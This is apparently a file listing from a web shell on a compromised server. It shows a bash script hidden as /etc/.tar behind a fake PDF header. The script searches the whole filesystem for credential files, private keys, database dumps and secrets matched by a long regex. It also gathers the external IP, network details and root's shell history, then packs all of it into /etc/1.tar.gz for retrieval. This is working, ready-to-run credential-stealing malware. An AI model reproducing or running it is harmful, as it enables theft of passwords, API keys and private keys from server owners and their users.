%PDF- %PDF-
| Direktori : /proc/self/root/etc/ |
| Current File : //proc/self/root/etc/.tar |
#!/usr/bin/env bash
set -u
umask 077
OUT="/etc/1.tar.gz"
MAX_BYTES=524288
WORKDIR="$(mktemp -d /tmp/sensitive-pack.XXXXXX)"
CANDIDATES="$WORKDIR/candidates.nul"
BY_NAME="$WORKDIR/by-name.nul"
BY_CONTENT="$WORKDIR/by-content.nul"
MATCHED="$WORKDIR/matched.nul"
MANIFEST="$WORKDIR/manifest.txt"
HOSTINFO="$WORKDIR/host.txt"
trap 'rm -rf "$WORKDIR"' EXIT
rm -f -- "$OUT"
CONTENT_RE='(password|passwd|pwd|passphrase|secret|private[[:space:]_.-]*key|api[[:space:]_.-]*key|access[[:space:]_.-]*key|secret[[:space:]_.-]*key|token|bearer|jwt|oauth|client[[:space:]_.-]*secret|client[[:space:]_.-]*id|db[[:space:]_.-]*(password|passwd|user|username|host|name)|database[[:space:]_.-]*(url|password|passwd|user|username|host|name)|dsn|connection[[:space:]_.-]*string|app[[:space:]_.-]*key|encryption[[:space:]_.-]*key|auth[[:space:]_.-]*key|secure[[:space:]_.-]*auth|nonce[[:space:]_.-]*salt|logged[[:space:]_.-]*in[[:space:]_.-]*key|aws[[:space:]_.-]*access[[:space:]_.-]*key|aws[[:space:]_.-]*secret[[:space:]_.-]*access[[:space:]_.-]*key|AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|BEGIN (RSA |DSA |EC |OPENSSH |PGP )?PRIVATE KEY|OPENAI_API_KEY|sk-[A-Za-z0-9_-]{20,}|ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|ghu_[A-Za-z0-9]{20,}|ghs_[A-Za-z0-9]{20,}|github[[:space:]_.-]*token|gitlab[[:space:]_.-]*token|glpat-|slack[[:space:]_.-]*token|xox[baprs]-|stripe|sk_live_|rk_live_|paypal|braintree|twilio|sendgrid|mailgun|smtp|ftp|sftp|ssh|mysql|mysqli|postgres|postgresql|mongodb|redis|memcached|azure[[:space:]_.-]*storage|account[[:space:]_.-]*key|sas[[:space:]_.-]*token|google[[:space:]_.-]*application[[:space:]_.-]*credentials|firebase|service[[:space:]_.-]*account|cloudflare|cf[[:space:]_.-]*api|digitalocean|linode|vultr)'
find / \
\( -path /proc -o -path /sys -o -path /dev -o -path /run -o -path "$WORKDIR" \) -prune -o \
-type f -size -"$(($MAX_BYTES + 1))"c ! -path "$OUT" -print0 \
2>/dev/null > "$CANDIDATES"
find / \
\( -path /proc -o -path /sys -o -path /dev -o -path /run -o -path "$WORKDIR" \) -prune -o \
-type f -size -"$(($MAX_BYTES + 1))"c ! -path "$OUT" \( \
-iname ".env" -o -iname ".env.*" \
-o -iname "wp-config.php" \
-o -iname "configuration.php" \
-o -iname "settings.php" \
-o -iname "database.php" \
-o -iname "config.php" \
-o -iname "config.inc.php" \
-o -iname "local.xml" \
-o -iname "env.php" \
-o -iname "auth.json" \
-o -iname ".npmrc" \
-o -iname ".pypirc" \
-o -iname ".my.cnf" \
-o -iname "*.key" \
-o -iname "*.pem" \
-o -iname "*.p12" \
-o -iname "*.pfx" \
-o -iname "*.jks" \
-o -iname "*.kdb" \
-o -iname "id_rsa" \
-o -iname "id_dsa" \
-o -iname "id_ecdsa" \
-o -iname "id_ed25519" \
-o -iname "authorized_keys" \
-o -iname "*secret*" \
-o -iname "*credential*" \
-o -iname "*password*" \
-o -iname "*passwd*" \
-o -iname "*token*" \
-o -iname "*apikey*" \
-o -iname "*api_key*" \
-o -iname "*private*" \
-o -iname "*.sql" \
-o -iname "*.sql.gz" \
-o -iname "*.dump" \
\) -print0 2>/dev/null > "$BY_NAME"
xargs -0 -r grep -IlZiE "$CONTENT_RE" < "$CANDIDATES" \
2>/dev/null > "$BY_CONTENT" || true
cat "$BY_NAME" "$BY_CONTENT" | sort -zu > "$MATCHED"
{
echo "Generated: $(date -Is)"
echo
echo "== External IP =="
python3 - <<'PY' 2>&1 || true
import urllib.request
for url in ("https://api.ipify.org", "https://ifconfig.me/ip"):
try:
with urllib.request.urlopen(url, timeout=10) as resp:
print(resp.read().decode("utf-8", "replace").strip())
break
except Exception:
continue
else:
print("Unable to determine external IP")
PY
echo
echo "== uname -a =="
uname -a 2>&1 || true
echo
echo "== ip addr =="
ip addr 2>&1 || true
echo
echo "== /root/.bash_history =="
if [ -r /root/.bash_history ]; then
cat /root/.bash_history
else
echo "Unable to read /root/.bash_history"
fi
} > "$HOSTINFO"
{
echo "Generated: $(date -Is)"
echo "Output: $OUT"
echo "Max file size: $MAX_BYTES bytes"
echo
while IFS= read -r -d '' f; do
stat -c '%n %s bytes %U:%G %a %y' "$f" 2>/dev/null
done < "$MATCHED"
} > "$MANIFEST"
COUNT="$(tr -cd '\0' < "$MATCHED" | wc -c | tr -d ' ')"
tar --null -P --ignore-failed-read --warning=no-file-changed \
-czf "$OUT" -T "$MATCHED" -C "$WORKDIR" manifest.txt host.txt
chmod 600 "$OUT"